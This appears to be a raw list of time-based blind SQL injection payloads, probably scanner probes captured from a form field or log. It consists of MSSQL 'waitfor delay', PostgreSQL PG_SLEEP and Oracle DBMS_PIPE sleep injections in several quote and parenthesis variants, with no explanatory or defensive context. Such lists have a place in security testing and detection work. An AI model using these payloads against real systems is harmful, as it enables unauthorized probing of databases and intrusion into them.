20-1 waitfor delay '0:0:15' --

20HKbjQe5Q'; waitfor delay '0:0:15' --

20-1 OR 602=(SELECT 602 FROM PG_SLEEP(15))--

20-1) OR 67=(SELECT 67 FROM PG_SLEEP(15))--

20-1)) OR 197=(SELECT 197 FROM PG_SLEEP(15))--

20FZsJjcve' OR 883=(SELECT 883 FROM PG_SLEEP(15))--

20nECGrwU4') OR 997=(SELECT 997 FROM PG_SLEEP(15))--

20ezSULcoj')) OR 902=(SELECT 902 FROM PG_SLEEP(15))--

20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

20

20'"

@@4JFgs

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